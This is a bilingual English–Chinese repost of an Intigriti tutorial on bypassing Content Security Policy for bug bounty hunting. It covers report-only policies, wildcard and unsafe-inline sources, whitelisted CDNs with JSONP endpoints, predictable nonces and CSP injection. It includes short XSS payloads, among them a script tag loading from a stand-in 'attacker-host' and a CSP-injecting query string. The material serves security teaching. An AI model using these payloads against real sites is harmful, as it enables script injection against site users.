Bypassing Content Security Policy (CSP) 绕过内容安全策略 (CSP)

双语翻译参考：https://www.intigriti.com/researchers/blog/hacking-tools/content-security-policy-csp-bypasses
对于SRC来说，通常是从web安全入手，web靶场首选burpsuite官方靶场作为漏洞原理的学习（即只用于漏洞教学，而非SRC教学的某个功能点或一点点功能点的demo环境 https://portswigger.net/web-security ），那什么是真正的SRC风格教学的环境？（zseano提供的真是SRC风格（https://www.bugbountyhunter.com, hackerone TOP10，亚马逊连续7年百万赏猎），遗憾的是自2025年起停止会员服务，花钱也不行，你只能持续关注他的动态直到他重新开放会员服务（X平台，以前的推特）。真SRC风格是所有漏洞放入真实企业环境（我遇见过的最先进的环境），所有的行为对标hackerone，包括测试注意事项，漏洞类型，报告等）。其次，SRC需要不停的阅读别人的报告与思考。intigriti 是如今最流行的SRC文章资源之一（即所谓的RSS订阅，都2025年了，RSS没必要）。对于文章资源我们首选红迪，飞机，油管，博客等主流社交平台即可。

Bypassing Content Security Policy (CSP) 绕过内容安全策略 (CSP)

Content Security Policies (CSPs) are often deployed as the last line of defense against client-side attacks such as cross-site scripting (XSS) and clickjacking. Since their first introduction in 2012, they've enabled developers to control which and what resources are allowed to load and evaluate within a given DOM context.
内容安全策略 (CSP) 通常被部署为抵御客户端攻击（例如跨站脚本攻击 (XSS https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-reflected-xss-vulnerabilities) 和点击劫持）的最后一道防线。自 2012 年首次推出以来，CSP 使开发人员能够控制在给定的 DOM 上下文中允许加载和执行哪些资源。

However, it still commonly occurs that developers rely on this countermeasure as the sole defensive layer against these client-side attacks. Ultimately, introducing new opportunities for us to evade this and manage to execute our malicious JavaScript code.
然而，开发者仍然普遍依赖这种防御措施作为抵御客户端攻击的唯一防线。最终，这反而为我们提供了新的机会来规避这种防御，并成功执行恶意 JavaScript 代码。

In this article, we'll explore in-depth what Content Security Policies are and how we can bypass CSPs to, for example, exploit XSS vulnerabilities.
在本文中，我们将深入探讨什么是内容安全策略，以及如何绕过 CSP 来利用 XSS 漏洞等（https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-reflected-xss-vulnerabilities）。

Let's dive in! 让我们开始吧！

What is a Content Security Policy (CSP) 什么是内容安全策略 (CSP)？

Content Security Policy (CSP) is a browser security mechanism designed to mitigate content injection attacks, including cross-site scripting (XSS) and clickjacking vulnerabilities. By specifying which sources the browser should trust for different types of content (scripts, stylesheets, images, etc.), developers can effectively control what resources are allowed to load and execute on their web pages.
内容安全策略 (CSP) 是一种浏览器安全机制，旨在缓解内容注入攻击，包括跨站脚本攻击 (XSS) 和点击劫持漏洞。通过指定浏览器应信任哪些来源来获取不同类型的内容（脚本、样式表、图像等），开发人员可以有效地控制允许在其网页上加载和执行的资源。

When implemented correctly, CSP acts as a defense-in-depth layer that can prevent XSS exploitation even when input validation is missing or insufficient. However, CSP should never be considered as the only line of defense, as misconfigurations and oversights can render it ineffective or allow for complete bypasses, as we'll cover later on throughout this article.
如果部署得当，CSP 可以作为纵深防御层，即使在输入验证缺失或不足的情况下也能防止 XSS 攻击。然而，CSP 绝不应被视为唯一的防御手段，因为配置错误和疏忽会导致其失效，甚至允许攻击者完全绕过 CSP，我们将在本文后续部分详细讨论这一点。

Let's go over the most important directive names and sources to help us better understand what CSP bypasses are. If you're already familiar with CSPs and client-side attacks, you may skip ahead to the bypasses section.
让我们回顾一下最重要的指令名称和来源，以帮助我们更好地理解什么是 CSP 绕过。如果您已经熟悉 CSP 和客户端攻击，可以直接跳到绕过部分。

Content Security Policy (CSP) bypasses in bug bounty
Identifying Content Security Policy (CSP) misconfigurations is often report-worthy in pentests. However, this isn't necessarily the same with bug bounty.
Most programs won't accept CSP bypass reports as standalone vulnerabilities. You'll always need to chain your CSP bypass with, for instance, an actual XSS vulnerability to demonstrate real-world impact.

在漏洞赏金计划中，识别内容安全策略 (CSP) 配置错误通常值得上报。然而，在漏洞赏金计划中，情况并非总是如此。
大多数计划不会将 CSP 绕过报告作为独立的漏洞。您始终需要将 CSP 绕过报告与其他漏洞（例如实际的 XSS 漏洞）结合起来，以证明其对实际环境的影响。

Finding Content Security Policy (CSP) declarations 查找内容安全策略 (CSP) 声明

Content Security Policies (CSPs) can be implemented in two main ways, understanding where to look for them is essential for analyzing potential misconfigurations.
内容安全策略 (CSP) 可以通过两种主要方式实施，了解在哪里查找它们对于分析潜在的错误配置至关重要。

• HTTP response header HTTP 响应头

The most common implementation method is through the Content-Security-Policy HTTP response header. You can easily view this in your browser's developer tools under the Network tab by inspecting the response headers of any page load.
最常见的实现方法是通过内容安全策略 (Content-Security-Policy) HTTP 响应头。您可以在浏览器的开发者工具中，通过检查任何页面加载的响应头，在“网络”选项卡下轻松查看此信息。

• HTML meta tag: HTML 元标签：

Alternatively, CSP can be defined within the HTML document itself using a <meta> tag in the page's <head> section:
或者，也可以在 HTML 文档本身中使用 <meta> 标签在页面的 <head> 部分定义 CSP：

<meta http-equiv="content-security-policy" content="default-src 'self'; script-src 'self' https://cdn.example.com">

Deconstructing Content Security Policy (CSP) directives 解构内容安全策略 (CSP) 指令

A Content Security Policy consists of one or more directives, each controlling a specific type of resource. Below is a comprehensive table of the most important CSP directives you'll encounter during security testing.
内容安全策略 (CSP) 由一个或多个指令组成，每个指令控制特定类型的资源。下表列出了您在安全测试期间会遇到的最重要的 CSP 指令。

It's recommended to have a look at both directive names and sources, as this information will help us find misconfigurations in CSP declarations that we can actively abuse:
建议查看指令名称和源代码，因为这些信息将有助于我们找到 CSP 声明中的错误配置，从而可以主动利用这些错误配置：

搜索：CSP directive names and sources ， https://content-security-policy.com/ ，https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP

Content Security Policy (CSP) bypasses 内容安全策略 (CSP) 绕过

CSP bypasses typically occur due to a misconfiguration or a weak CSP declaration. In the next sections, we'll examine a few practical exploitation techniques that demonstrate how you can identify and bypass these CSP misconfigurations to execute arbitrary JavaScript via an XSS vulnerability eventually.
CSP绕过通常是由于配置错误或CSP声明不完善造成的。在接下来的章节中，我们将探讨一些实际的利用技术，演示如何识别并绕过这些CSP配置错误，最终通过XSS漏洞执行任意JavaScript代码。

1. No Content Security Policy (CSP) declaration 1. 无内容安全策略 (CSP) 声明

A missing Content Security Policy (CSP) declaration is the simplest example. When no policy is defined, the browser doesn't enforce any restrictions on resource loading or script execution. Practically, this means that you can execute any code without restrictions.
缺少内容安全策略 (CSP) 声明是最简单的例子。如果没有定义任何策略，浏览器就不会对资源加载或脚本执行施加任何限制。实际上，这意味着您可以不受限制地执行任何代码。

To verify if your target makes use of a CSP, you'll need to check the response header and HTML source for the presence of a CSP declaration.
要验证目标是否使用 CSP，您需要检查响应标头和 HTML 源代码中是否存在 CSP 声明。

On some occasions, you'll notice that some application routes or directories on the same host have different CSPs set. Make sure to also take this into account.
有时你会发现，同一主机上的某些应用程序路由或目录设置了不同的CSP。请务必将此因素考虑在内。

2. Bypassing CSP enabled in reporting mode only 2. 仅在报告模式下绕过已启用的 CSP

Just as an effective CSP can help websites deter XSS and injection attacks, it can also inadvertently break them by blocking safe scripts from loading. To avoid breaking sites in production, developers will deploy a new CSP in report-only mode. In this mode, CSP violations are reported, but the policy itself is never enforced. Similar to the previous case, this would allow you to execute arbitrary code via XSS uninterrupted.
有效的 CSP 可以帮助网站抵御 XSS 和注入攻击，但同时也可能因为阻止安全脚本加载而无意中破坏网站。为了避免在生产环境中破坏网站，开发人员通常会以仅报告模式（Content-Security-Policy-Report-Only）部署新的 CSP。在这种模式下，CSP 违规行为会被报告，但策略本身不会强制执行。与之前的情况类似，这会导致攻击者能够不受干扰地通过 XSS 执行任意代码。

To locate such targets, you'll need to examine the HTTP headers returned in the response and search for the presence of the Content-Security-Policy-Report-Only header. This header is widely supported across multiple web browsers, including Google Chrome, Mozilla Firefox & Safari. It essentially instructs these web browsers to only monitor and report CSP violations, but not to enforce them.
要查找此类目标，您需要检查响应中返回的 HTTP 标头，并查找是否存在 Content-Security-Policy-Report-Only 标头。包括 Google Chrome、Mozilla Firefox 和 Safari 在内的多种 Web 浏览器都广泛支持此标头。它本质上指示这些 Web 浏览器仅监控和报告 CSP 违规行为，而不强制执行这些违规行为。

A target that only monitors for CSP violations but never enforces them allowing for CSP bypasses to arise
如图所示，目标系统仅监控 CSP 违规行为，但从不强制执行，从而导致 CSP 绕过行为的出现。

3. Bypassing CSP via non-restrictive declarations 3. 通过非限制性声明绕过 CSP

Even if a CSP is declared, we must look for non-restrictive declarations that we can bypass. In most instances, you'll notice that developers have had to omit a declaration or include a CSP with a non-restrictive declaration to avoid possibly rendering the application unusable in production environments. Fortunately for us, we have access to open-source tooling that can help us identify such loosely-scoped CSP declarations.
即使声明了内容安全策略 (CSP)，我们也必须寻找可以绕过的非限制性声明。在大多数情况下，你会发现开发人员不得不省略某些声明，或者包含一个带有非限制性声明的 CSP，以避免应用程序在生产环境中可能无法使用。幸运的是，我们可以使用开源工具来帮助我们识别这些作用域较窄的 CSP 声明。

Let's have a look at a few examples. 我们来看几个例子。

• Bypassing CSP via script-src 通过 script-src 绕过 CSP

As we saw earlier, the script-src declaration specifies what scripts the browser allows to load and execute. If a wildcard (*) has been set as the declaration source, no restrictions will be applied, and a simple payload that loads an external script will be allowed to execute:
正如我们之前看到的，script-src 声明指定了浏览器允许加载和执行哪些脚本。如果声明源设置为通配符 (*)，则不会应用任何限制，并且允许执行加载外部脚本的简单有效负载：
<script src=//attacker-host/evil.js></script>

Similarly, when the unsafe-inline declaration source is included, it'll allow us to execute any inline code we specify, such as:
同样地，当包含 unsafe-inline 声明源时，它将允许我们执行任何指定的内联代码，例如：
'"><svg onload=alert(/INTIGRITI/)>

Simple misconfigurations like these can easily be identified with CSP Evaluator, a simple tool by Google that examines your Content Security Policy and reports back what declarations could be problematic:
像这样的简单配置错误可以通过 CSP Evaluator 轻松识别，CSP Evaluator( https://csp-evaluator.withgoogle.com/ ) 是 Google 提供的一款简单工具，它可以检查您的内容安全策略并报告哪些声明可能存在问题：

If you're more experienced with web application pentesting, you'll notice that the case above won't apply to most targets. However, most do include the hosts of third-party services & CDNs. Let's examine a more practical example where we can use a third-party to bypass CSP and achieve XSS.
如果您有更丰富的 Web 应用渗透测试经验，就会发现上述案例并不适用于大多数目标。然而，大多数目标确实包含第三方服务和 CDN 的托管服务器。让我们来看一个更实际的例子，了解如何利用第三方服务绕过 CSP 并实现 XSS 攻击。

Consider the following Content Security Policy:
请参考以下内容安全策略：
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdnjs.cloudflare.com https://ajax.googleapis.com

At first glance, this policy appears relatively secure. The default-src ensures all other non-explicitly declared declarations are restrictive by default, and the script-src restricts script execution to the same origin and two popular CDNs. However, both of these whitelisted CDNs host vulnerable versions of JavaScript libraries that can be exploited to execute arbitrary code. With a tool like CSPBypass, we can easily find a payload that bypasses the CSP whitelisting:
乍一看，这项策略似乎相对安全。default-src 确保所有其他未显式声明的声明默认都具有限制性，而 script-src 则将脚本执行限制在同一源和两个常用的 CDN 上。然而，这两个被列入白名单的 CDN 都托管着存在漏洞的 JavaScript 库版本，这些漏洞可被利用来执行任意代码。借助 CSPBypass 之类的工具( https://github.com/renniepak/CSPBypass )，我们可以轻松找到绕过 CSP 白名单的有效载荷：

Finding CSP bypasses using CSP Bypass Search 使用 CSP 绕过工具搜索查找 CSP 绕过

In instances where no CSP bypasses are found, we'll need to examine the whitelisted hosts and check for possible JSONP endpoints, arbitrary file uploads, or any other method that allows us to serve valid JS code.
如果找不到 CSP 绕过方法，我们需要检查白名单主机，并检查是否存在 JSONP 端点、任意文件上传（ https://www.intigriti.com/researchers/blog/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities ）或任何其他允许我们提供有效 JS 代码的方法。

Arbitrary file uploads accessible on the same host (or any whitelisted host) will be your primary objective, and several file types can be used to serve valid JavaScript code. For example, this CSPT research article by Maxence from Doyensec describes how a valid PDF file can be used to serve arbitrary JavaScript code, potentially bypassing CSP restrictions.
您的主要目标是允许在同一主机（或任何已列入白名单的主机）上上传任意文件，并且可以使用多种文件类型来提供有效的 JavaScript 代码。例如，Doyensec 的 Maxence 在这篇 CSPT 研究文章（ https://blog.doyensec.com/2025/01/09/cspt-file-upload.html ）中描述了如何使用有效的 PDF 文件来提供任意 JavaScript 代码，从而有可能绕过 CSP 限制。

What is a JSONP endpoint? 什么是JSONP端点？
JSONP (JSON with Padding) is a legacy technique that was developed to circumvent the Same-Origin Policy and enable cross-domain data requests before the Cross-Origin Resource Sharing (CORS) protocol was widely adopted. It works by wrapping JSON data inside a JavaScript function call. And some applications still actively rely on it.
JSONP（带填充的 JSON）是一种遗留技术，它是为了绕过同源策略并在跨域资源共享 (CORS) 协议广泛采用之前实现跨域数据请求而开发的。它的工作原理是将 JSON 数据封装在 JavaScript 函数调用中。一些应用程序至今仍在积极使用它。

If you can find a JSONP endpoint on any whitelisted host, you'll practically be able to use this endpoint to bypass CSP and execute arbitrary JavaScript code.
如果你能在任何白名单主机上找到 JSONP 端点，你实际上就可以利用这个端点绕过 CSP 并执行任意 JavaScript 代码。

4. Bypassing CSP via predictable nonces 4. 通过可预测的随机数绕过 CSP

A nonce (number used once) is a cryptographic token often declared within a CSP to provide for more granular control of what sources are allowed to execute. When implemented correctly, nonces allow specific inline scripts to execute while blocking all others. However, issues are bound to arise when nonces are weak, predictable, or reused, as they can be exploited to bypass CSP protection.
nonce（一次性使用的数字）是一种加密令牌，通常在内容安全策略 (CSP) 中声明，用于更精细地控制哪些源可以执行。正确实现时，nonce 允许特定的内联脚本执行，同时阻止所有其他脚本执行。但是，如果 nonce 强度不足、可预测或被重复使用，则必然会出现问题，因为它们可能被利用来绕过 CSP 保护。

Have a look at the following flawed CSP nonce implementation:
请查看以下有缺陷的 CSP nonce 实现：

Bypassing CSP via predictable nonces
示例代码：通过可预测的随机数绕过 CSP

As you may have already figured out, the CSP nonce is calculated based on a universal timestamp and the client's user-agent, both of which are predictable by the attacker. Although a new nonce is issued only after 60 seconds, it still leaves a considerable amount of time for an attacker to craft a payload that would work for the victim.
您可能已经发现，CSP nonce 是基于通用时间戳和客户端用户代理计算的，而这两者都可被攻击者预测。虽然新的 nonce 每隔 60 秒才会生成一次，但这仍然给了攻击者相当长的时间来精心构造能够攻击受害者的有效载荷。

The above case is a simple example of a flawed nonce token implementation. It's always recommended to pay close attention to tokens that appear weak, have been reused or are even static.
上述案例是一个简单的 nonce 令牌实现缺陷示例。始终建议密切关注那些看起来不够安全、已被重复使用甚至静态的令牌。

5. Bypassing CSP via CSP injection 5. 通过 CSP 注入绕过 CSP

In limited cases, you may encounter an injection point within a Content Security Policy. Either through a CR/LF injection or a similar injection vulnerability that would allow you to override the previous policy.
在少数情况下，您可能会在内容安全策略 (CSP) 中遇到注入点（CSP 注入）。这种注入点可能是通过 CR/LF 注入或其他类似的注入漏洞实现的，从而允许您覆盖之前的策略。

This injection stems from insufficient input handling during dynamic CSP generation. Consider the following scenario:
这种注入源于动态 CSP 生成过程中输入处理不足。考虑以下场景：

CSP bypass via CSP injection
如图所示：通过 CSP 注入绕过 CSP

In this example, the CSP is partially user-controllable through the csp_report_uri parameter, possibly for testing purposes. We can take advantage of this behavior to bypass the current restrictions and still manage to execute arbitrary code:
在这个例子中，CSP 可以通过 csp_report_uri 参数部分地由用户控制，这可能是出于测试目的。我们可以利用这种特性绕过当前的限制，并仍然能够执行任意代码：
/?csp_report_uri=/report; script-src * 'unsafe-inline';&vulnerable=<script>alert()</script>

In older PHP versions where CR/LF injection is still attainable, you may be able to inject additional response headers that would have facilitated the XSS attack. The key here is always to seek possible ways to override the currently enforced policy.
在旧版本的 PHP 中，如果仍然可以通过 CR/LF 注入漏洞，您或许可以注入额外的响应头，从而实施 XSS 攻击。关键在于始终寻找绕过当前强制策略的方法。

Conclusion 结论

Although standalone CSP bypasses are rarely considered report-worthy bugs, they should still be taken into account, as they could allow for the execution of arbitrary JavaScript code. In this article, we've explored multiple ways to test for possible Content Security Policy (CSP) bypasses.
尽管独立的 CSP 绕过很少被视为需要上报的漏洞，但仍应予以重视，因为它们可能允许执行任意 JavaScript 代码。在本文中，我们探讨了多种测试可能存在的内容安全策略 (CSP) 绕过的方法。

So, you've just learned something new about bypassing CSPs... Right now, it's time to put your skills to the test! You can start by practicing on vulnerable labs and CTFs or... browse through our 70+ public bug bounty programs on Intigriti, and who knows, maybe earn a bounty on your next submission!
所以，你刚刚学到了绕过CSP的新知识……现在是时候检验你的技能了！你可以先在存在漏洞的实验室和CTF比赛中练习，或者……浏览我们在Intigriti上提供的70多个公开漏洞赏金计划( https://www.intigriti.com/researchers/bug-bounty-programs )，说不定下次提交就能获得赏金！